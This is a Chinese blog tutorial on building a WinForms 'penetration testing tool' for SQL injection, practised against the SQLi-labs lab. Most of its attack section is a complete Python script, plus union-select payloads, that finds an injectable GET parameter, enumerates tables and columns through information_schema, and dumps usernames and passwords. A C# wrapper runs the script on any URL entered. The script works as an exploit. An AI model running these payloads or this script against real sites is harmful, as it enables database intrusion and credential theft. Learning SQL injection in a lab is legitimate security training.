使用C#winform编写渗透测试工具--SQL注入

本篇文章主要介绍使用C#winform编写渗透测试工具,实现SQL注入的功能。使用python编写SQL注入脚本,基于get显错注入的方式进行数据库的识别、获取表名、获取字段名,最终获取用户名和密码;使用C#winform编写windows客户端软件调用.py脚本,实现用户名和密码的获取。

目录

  1. SQL注入

  2. 实现步骤

  3. 代码实现

  4. 软件使用步骤

一、SQL注入

原理

SQL注入是指攻击者在Web应用程序中事先定义好的查询语句的结尾加上额外的SQL语句,这些一般都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作。(危害:盗取网站敏感信息、绕过验证登录网站后台、借助数据库的存储过程进行权限提升等操作)。造成的原因是程序员在编写Web程序时,没有对浏览器提交的参数进行严格的过滤和判断,用户可以构造参数,提交SQL查询语句,并传递到服务器端,从而获取敏感信息。

方法

  1. 确定Web应用程序使用的技术:与设计语言或者硬件关系密切,工具Nessus、AWVS、APPScan;
  2. 确定所有可能的输入方式:攻击者可以通过隐藏的HTML表单输入、http头部、cookies、后端AJAX请求来跟WEB应用进行交互,使用web代理如Burp;
  3. 查找可以用于注射的用户输入:多多留意web应用的错误页面。

常使用的方法:

  • “单引号”法:第一种检测SQL注入漏洞是否存在的方法是“单引号”法。方法很简单,直接在浏览器地址栏中的网址链接后加上一个单引号,如果页面不能正常显示,浏览器返回一些异常信息,则说明该链接可能存在注入漏洞。
  • 1=1和1=2法:直接在链接地址后分别加上and 1=1和and 1=2进行提交,如果返回不同的页面,那么说明存在SQL注入漏洞。

二、实现步骤

搭建靶场环境

  • 搭建SQLi-labs靶场环境,网上也有很多教程,可以参照sqli-labs下载与安装进行搭建。搭建后进入Less-1。

  • 为测试环境搭建成功,首先Less-1后跟随?id=1的参数,若成功返回结果,代表环境可以使用。

  • SQLi-labs靶场环境中有许多注入方式可以练习,包括get显错注入、get盲注、post显错注入、post盲注等,这里主要针对get显错注入,后面的编写的脚本也是针对get显错注入。首先尝试id的值为一些特殊的符号(如单引号'、双引号"、括号)、反斜线/等),输入?id=1',发现报错,说明此处可能有注入点,同时确认数据库为MYSQL数据库。

  • 使用order by判断字段数,通过输入?id=1' order by 1 --+,页面返回正常信息,再输入?id=1' order by 2 --+,一直到id=1' order by 4 --+,页面报错,这时候我们就可以知道此表中有3列数据。

  • 使用union select联合查询方式获得库名、表名、字段名。首先输入id=0' union select 1,user(),database() --+,得到用户名和使用数据库的库名。

  • 获取表名时需要借助MySQL数据库中系统库information_schema,使用group_concat()来获取正在使用的库中有哪些表传入的参数,具体用法为传输参数?id=0' union select 1,DATABASE(),group_concat(table_name) from information_schema.tables where table_schema=DATABASE() --+,获得当前数据库使用的表名。

  • 使用同样的方法id=0' union select 1,group_concat(username),group_concat(password) from users--+,获得获取字段名。

  • 利用group_concat()获取字段值,具体为传输参数?id=0' union select 1,group_concat(username),group_concat(password) from users--+获得用户名和密码。

三、代码实现

使用python编写脚本实现自动注入

  1. import time
  2. import sys
  3. from urllib import request
  4. from bs4 import BeautifulSoup
  5. def log(content):
  6. this_time = time.strftime('%H:%M:%S', time.localtime(time.time()))
  7. print('[' + str(this_time) + '] ' + content)
  8. def send_request(url):
  9. # log(url)
  10. res = request.urlopen(url)
  11. result = str(res.read().decode('utf-8'))
  12. return result
  13. def can_inject(test_url):
  14. test_list = ['%27', '%22']
  15. for item in test_list:
  16. target_url1 = test_url + str(item) + '%20' + 'and%201=1%20--+'
  17. target_url2 = test_url + str(item) + '%20' + 'and%201=2%20--+'
  18. result1 = send_request(target_url1)
  19. result2 = send_request(target_url2)
  20. soup1 = BeautifulSoup(result1, 'html.parser')
  21. fonts1 = soup1.find_all('font')
  22. content1 = str(fonts1[2].text)
  23. soup2 = BeautifulSoup(result2, 'html.parser')
  24. fonts2 = soup2.find_all('font')
  25. content2 = str(fonts2[2].text)
  26. if content1.find('Login') != -1 and content2 == None or content2.strip() == '':
  27. log('Use ' + item + ' -> Exist SQL Injection')
  28. return True, item
  29. else:
  30. log('Use ' + item + ' -> Not Exist SQL Injection')
  31. return False, None
  32. def test_order_by(url, symbol):
  33. flag = 0
  34. for i in range(1, 100):
  35. log('Order By Test -> ' + str(i))
  36. test_url = url + symbol + '%20order%20by%20' + str(i) + '--+'
  37. result = send_request(test_url)
  38. soup = BeautifulSoup(result, 'html.parser')
  39. fonts = soup.find_all('font')
  40. content = str(fonts[2].text)
  41. if content.find('Login') == -1:
  42. log('Order By Test Success -> order by ' + str(i))
  43. flag = i
  44. break
  45. return flag
  46. def get_prefix_url(url):
  47. splits = url.split('=')
  48. splits.remove(splits[-1])
  49. prefix_url = ''
  50. for item in splits:
  51. prefix_url += str(item)
  52. return prefix_url
  53. def test_union_select(url, symbol, flag):
  54. prefix_url = get_prefix_url(url)
  55. test_url = prefix_url + '=0' + symbol + '%20union%20select%20'
  56. for i in range(1, flag):
  57. if i == flag - 1:
  58. test_url += str(i) + '%20--+'
  59. else:
  60. test_url += str(i) + ','
  61. result = send_request(test_url)
  62. soup = BeautifulSoup(result, 'html.parser')
  63. fonts = soup.find_all('font')
  64. content = str(fonts[2].text)
  65. for i in range(1, flag):
  66. if content.find(str(i)) != -1:
  67. temp_list = content.split(str(i))
  68. return i, temp_list
  69. def exec_function(url, symbol, flag, index, temp_list, function):
  70. prefix_url = get_prefix_url(url)
  71. test_url = prefix_url + '=0' + symbol + '%20union%20select%20'
  72. for i in range(1, flag):
  73. if i == index:
  74. test_url += function + ','
  75. elif i == flag - 1:
  76. test_url += str(i) + '%20--+'
  77. else:
  78. test_url += str(i) + ','
  79. result = send_request(test_url)
  80. soup = BeautifulSoup(result, 'html.parser')
  81. fonts = soup.find_all('font')
  82. content = str(fonts[2].text)
  83. return content.split(temp_list[0])[1].split(temp_list[1])[0]
  84. def get_database(url, symbol):
  85. test_url = url + symbol + 'aaaaaaaaa'
  86. result = send_request(test_url)
  87. if result.find('MySQL') != -1:
  88. return 'MySQL'
  89. elif result.find('Oracle') != -1:
  90. return 'Oracle'
  91. def get_tables(url, symbol, flag, index, temp_list):
  92. prefix_url = get_prefix_url(url)
  93. test_url = prefix_url + '=0' + symbol + '%20union%20select%20'
  94. for i in range(1, flag):
  95. if i == index:
  96. test_url += 'group_concat(table_name)' + ','
  97. elif i == flag - 1:
  98. test_url += str(i) + '%20from%20information_schema.tables%20where%20table_schema=database()%20--+'
  99. else:
  100. test_url += str(i) + ','
  101. result = send_request(test_url)
  102. soup = BeautifulSoup(result, 'html.parser')
  103. fonts = soup.find_all('font')
  104. content = str(fonts[2].text)
  105. return content.split(temp_list[0])[1].split(temp_list[1])[0]
  106. def get_columns(url, symbol, flag, index, temp_list):
  107. prefix_url = get_prefix_url(url)
  108. test_url = prefix_url + '=0' + symbol + '%20union%20select%20'
  109. for i in range(1, flag):
  110. if i == index:
  111. test_url += 'group_concat(column_name)' + ','
  112. elif i == flag - 1:
  113. test_url += str(i) + '%20from%20information_schema.columns%20where%20' \
  114. 'table_name=\'users\'%20and%20table_schema=database()%20--+'
  115. else:
  116. test_url += str(i) + ','
  117. result = send_request(test_url)
  118. soup = BeautifulSoup(result, 'html.parser')
  119. fonts = soup.find_all('font')
  120. content = str(fonts[2].text)
  121. return content.split(temp_list[0])[1].split(temp_list[1])[0]
  122. def get_data(url, symbol, flag, index, temp_list):
  123. prefix_url = get_prefix_url(url)
  124. test_url = prefix_url + '=0' + symbol + '%20union%20select%20'
  125. for i in range(1, flag):
  126. if i == index:
  127. test_url += 'group_concat(id,0x3a,username,0x3a,password)' + ','
  128. elif i == flag - 1:
  129. test_url += str(i) + '%20from%20users%20--+'
  130. else:
  131. test_url += str(i) + ','
  132. result = send_request(test_url)
  133. soup = BeautifulSoup(result, 'html.parser')
  134. fonts = soup.find_all('font')
  135. content = str(fonts[2].text)
  136. return content.split(temp_list[0])[1].split(temp_list[1])[0].split(',')
  137. def do_sql_inject(url):
  138. log('Welcome To SQL Injection Tool')
  139. log('Check For SQL Injection......')
  140. result, symbol = can_inject(url)
  141. if not result:
  142. log('Target Url Not Exist SQL Injection -> Exit')
  143. return
  144. else:
  145. log('Test Order By And Union Select......')
  146. flag = test_order_by(url, symbol)
  147. index, temp_list = test_union_select(url, symbol, flag)
  148. database = get_database(url, symbol)
  149. version = exec_function(url, symbol, flag, index, temp_list, 'version()')
  150. this_database = exec_function(url, symbol, flag, index, temp_list, 'database()')
  151. log('Success -> ' + database.strip() + ' ' + version.strip())
  152. log('Database -> ' + this_database.strip())
  153. tables = get_tables(url, symbol, flag, index, temp_list)
  154. log('Tables -> ' + tables.strip())
  155. log('Default Use Table users......')
  156. columns = get_columns(url, symbol, flag, index, temp_list)
  157. log('Columns -> ' + columns.strip())
  158. log('Try To Get Data......\n\n')
  159. datas = get_data(url, symbol, flag, index, temp_list)
  160. temp = columns.split(',')
  161. print('%-12s%-12s%-12s' % (temp[0], temp[1], temp[2]))
  162. for data in datas:
  163. temp = data.split(':')
  164. print('%-12s%-12s%-12s' % (temp[0], temp[1], temp[2]))
  165. if __name__ == '__main__':
  166. do_sql_inject(sys.argv[1]+'/?id=1')

编写windows客户端软件调用.py脚本

对于python脚本中包含第三方模块的情况,同样,通过直接创建Process进程,调用python脚本,返回扫描结果。

  • 创建按钮按下事件button1_Click,运行“调用python脚本”函数runPythonsql_inject()
  1. private void button13_Click(object sender, EventArgs e)
  2. {
  3. richTextBox8.Clear();
  4. runPythonsql_inject();//运行python函数
  5. label39.Text = "开始扫描...";
  6. }
  • 实例化一个python进程 调用.py 脚本
  1. void runPythonsql_inject()
  2. {
  3. string url = textBox10.Text;
  4. p = new Process();
  5. string path = "sql_inject.py";//待处理python文件的路径,本例中放在debug文件夹下
  6. string sArguments = path;
  7. ArrayList arrayList = new ArrayList();
  8. arrayList.Add(url);//需要挖掘的域名
  9. foreach (var param in arrayList)//拼接参数
  10. {
  11. sArguments += " " + param;
  12. }
  13. p.StartInfo.FileName = @"D:\Anaconda\python.exe"; //没有配环境变量的话,可以写"xx\xx\python.exe"的绝对路径。如果配了,直接写"python"即可
  14. p.StartInfo.Arguments = sArguments;//python命令的参数
  15. p.StartInfo.UseShellExecute = false;
  16. p.StartInfo.RedirectStandardOutput = true;
  17. p.StartInfo.RedirectStandardInput = true;
  18. p.StartInfo.RedirectStandardError = true;
  19. p.StartInfo.CreateNoWindow = true;
  20. p.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
  21. p.Start();//启动进程
  22. //MessageBox.Show("启动成功");
  23. p.BeginOutputReadLine();
  24. p.OutputDataReceived += new DataReceivedEventHandler(p_OutputDataReceived_sql_inject);
  25. Console.ReadLine();
  26. //p.WaitForExit();
  27. }
  • 输出接收事件函数
  1. void p_OutputDataReceived_sql_inject(object sender, DataReceivedEventArgs e)
  2. {
  3. var printedStr = e.Data;
  4. Action at = new Action(delegate ()
  5. {
  6. //接受.py进程打印的字符信息到文本显示框
  7. richTextBox8.AppendText(printedStr + "\n");
  8. label39.Text = "扫描结束";
  9. });
  10. Invoke(at);
  11. }

软件使用步骤

  • 首先在url栏中输入地址,点击开始查询,最后得到SQL注入信息。

github地址:https://github.com/Chenmengx/Penetration-testing-tool

使用C#winform编写渗透测试工具--SQL注入的更多相关文章

  1. 使用C#winform编写渗透测试工具--敏感目录扫描

    使用C#winform编写渗透测试工具--敏感目录扫描 由于之前在做渗透测试的时候,发现使用的工具较多,切换起来较麻烦,便萌生了开发一个包含各种渗透测试工具的小程序,包括敏感目录扫描.端口查询.子域名 ...

  2. #使用C#winform编写渗透测试工具--子域名挖掘

    使用C#winform编写渗透测试工具--子域名挖掘 这篇文章主要介绍使用C#winform编写渗透测试工具--子域名挖掘.在渗透测试中,子域名的收集十分重要,通常一个网站的主站的防御能力特别强,而他 ...

  3. 使用C#winform编写渗透测试工具--暴力破解

    使用C#winform编写渗透测试工具--暴力破解 这篇文章主要介绍使用C#winform编写渗透测试工具--暴力破解.暴力破解是指通过利用大量猜测和穷举的方式来尝试获取用户口令的攻击方式.简单来说就 ...

  4. 使用C#winform编写渗透测试工具--端口扫描

    使用C#winform编写渗透测试工具--端口扫描器 主要介绍使用C#winform编写渗透测试工具--端口扫描器,端口扫描器则是一种检测服务器或者主机虚拟端口是开启或关闭的工具.由于连接到局域网或互 ...

  5. 使用C#winform编写渗透测试工具--Web指纹识别

    使用C#winform编写渗透测试工具--web指纹识别 本篇文章主要介绍使用C#winform编写渗透测试工具--Web指纹识别.在渗透测试中,web指纹识别是信息收集关键的一步,通常是使用各种工具 ...

  6. Web渗透测试(sql注入 access,mssql,mysql,oracle,)

    Access数据库注入: access数据库由微软发布的关系型数据库(小型的),安全性差. access数据库后缀名位*.mdb, asp中连接字符串应用-- "Driver={micros ...

  7. 渗透测试工具SQLmap

    一.简介 SQLmap 是一款用 Python 编写的开源渗透测试工具,用来自动检测和利用 SQL 注入漏洞. 二.Windows 下安装 2.1 安装 Python 环境 注:Python 3.0会 ...

  8. github渗透测试工具库

    本文作者:Yunying 原文链接:https://www.cnblogs.com/BOHB-yunying/p/11856178.html 导航: 2.漏洞练习平台 WebGoat漏洞练习平台: h ...

  9. github渗透测试工具库[转载]

    前言 今天看到一个博客里有这个置顶的工具清单,但是发现这些都是很早以前就有文章发出来的,我爬下来后一直放在txt里吃土.这里一起放出来. 漏洞练习平台 WebGoat漏洞练习平台:https://gi ...

随机推荐

  1. Windows 11,一个新功能,一场新屠杀

    6月24日,微软正式公布了新一代操作系统:Windows 11.这次的更新距离上一代操作系统Windows 10的发布,隔了有6年之久. 在新一代的操作系统中,包含了这些亮点: 采用了全新的UI设计. ...

  2. Siamese network总结

    ​前言: 本文介绍了Siamese (连体)网络的主要特点.训练和测试Siamese网络的步骤.Siamese网络的应用场合.Siamese网络的优缺点.为什么Siamese被称为One-shot分类 ...

  3. Go语言中的有缓冲channel和无缓冲channel区别

    Go语言中的有缓冲channel和无缓冲channel区别 结论 ch1:=make(chan int)// 无缓冲 ch2:=make(chan int,1)// 有缓冲 无缓冲: 当向ch1中存值 ...

  4. 4.QT:spinbox(spindoublebox)控件的信号响应

    Qt的QSpinBox和QDoubleSpinBox两个控件在默认情况下是valueChanged信号,会响应每次输入栏的改变. 比如想要输入数值"123",我们会依次键入1 - ...

  5. 详解C++中继承的基本内容

    有些类与类之间存在特殊的关系,有共性也有特性,比如动物类可以细分为猫,狗等.下级别的成员除了拥有上一级的共性,还有自己的特性,这个时候就可以考虑继承的技术,减少重复代码. 一.继承中的对象模型 1.1 ...

  6. 无向图(邻接表实现)DFS_AND_BFS

    数据结构选择TreeSet的原因:通过自定义的Compare方法,保证了点元素的唯一性,有序性(方便检验): 传入Set和Map中的元素类似于C中的指针操作,即共享地址,改变其中一个中的元素,与之相关 ...

  7. Docker搭建mysql:5.7版本数据库

    搭建MySQL: 1.启动测试mysql,拷贝容器内配置文件到宿主机 mkdr -P /server/docker/mysql/{data,conf} docker run -e MYSQL_ROOT ...

  8. scRNAseq benchmark 学习笔记

    背景 把早年没填完的坑(单细胞测序的细胞类型鉴别)给重新拾起来 其Github描述的基本情况: 作者并不对单个分类器进行说明,统一包装在benchmark工程里,还建立了docker容器 但说明了在s ...

  9. Doris开发手记2:用SIMD指令优化存储层的热点代码

    最近一直在进行Doris的向量化计算引擎的开发工作,在进行CPU热点排查时,发现了存储层上出现的CPU热点问题.于是尝试通过SIMD的指令优化了这部分的CPU热点代码,取得了较好的性能优化效果.借用本 ...

  10. HTTP返回状态码及错误大全

    http://www.kaiyuanba.cn/html/1/131/226/4258.htm HTTP 400 - 请求无效 HTTP 401.1 - 未授权:登录失败 HTTP 401.2 - 未 ...